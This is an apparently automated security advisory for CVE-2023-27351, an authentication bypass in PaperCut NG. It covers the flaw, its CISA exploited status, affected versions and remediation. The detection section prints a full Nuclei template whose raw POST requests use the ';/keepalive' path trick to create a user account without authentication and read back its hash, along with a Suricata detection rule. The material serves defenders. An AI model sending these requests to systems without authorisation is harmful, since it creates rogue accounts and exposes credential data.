CVE-2023-27351: PaperCut NG/MF exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SecurityRequestFilter class. The issue results from improper implementation of the authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19226.

Description quoted from the CVE record (assigned by zdi, published 2023-04-20).

Weakness: CWE-287: Improper Authentication

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity low, availability none. CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2026-04-20
US federal deadline: 2026-05-04
Ransomware use: Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2023-02276, CNNVD-202304-1713, EUVD-2023-31127, GHSA-2c69-r2jh-xjvm, ZDI-23-232

VEDAS cluster: VEDAS:BEEWULFBANE

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Research or write-up: https://www.zerodayinitiative.com/advisories/ZDI-23-232

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2023-31127
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-2c69-r2jh-xjvm
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2023-27351
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-27351
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202304-1713

122 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.781
very likely to be attacked soon
VEDAS: 0.986
strong exploit evidence
On CISA KEV: Yes, since 2026-04-20
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 113 days before CISA confirmed attacks.

Who is affected

Product	Affected	Not affected
PaperCut NG	version 22.0.5 (Build 63914)	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: papercut papercut_mf, papercut papercut_ng, papercut_software_international_pty_ltd papercut_mf, papercut_software_international_pty_ltd papercut_ng.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

PaperCut NG - Authentication Bypass
This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /rpc/api/rest/master/user/createInternalUser;/keepalive, POST /rpc/api/rest/master/user/getExportedUser;/keepalive); it decides using dsl matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2023-27351.yaml

Show the template (59 lines)

yaml

id: CVE-2023-27351

info:
  name: "PaperCut NG - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG
    22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-27351&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=papercut&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2023-27351
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve2023,cve,papercut,auth-bypass,vkev,kev,intrusive,vuln
flow: http(1) && http(2)

variables:
  username: "{{randbase(8)}}"
  password: "{{randstr}}"

http:
  - raw:
      - |
        POST /rpc/api/rest/master/user/createInternalUser;/keepalive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":["{{username}}"],"password":["{{password}}"]}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'rO0A')"
          - "contains(content_type, 'application/json')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /rpc/api/rest/master/user/getExportedUser;/keepalive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":["{{username}}"]}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'java.lang.String', 'HASH:', '{{username}}')"
          - "contains(content_type, 'application/json')"
          - "status_code == 200"
        condition: and

CVE-2023-27351.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2023-27351 PaperCut NG - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2023-27351 PaperCut NG - Authentication Bypass"; flow:established,to_server; http.uri; content:"/rpc/api/rest/master/user/createInternalUser|3b|/keepalive"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2023-27351; reference:url,https://www.exploit.observer/?keyword=CVE-2023-27351&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=papercut&match=exact; sid:1011370; rev:1;)

CVE-2023-27351.rules on GitHub

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-27351 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.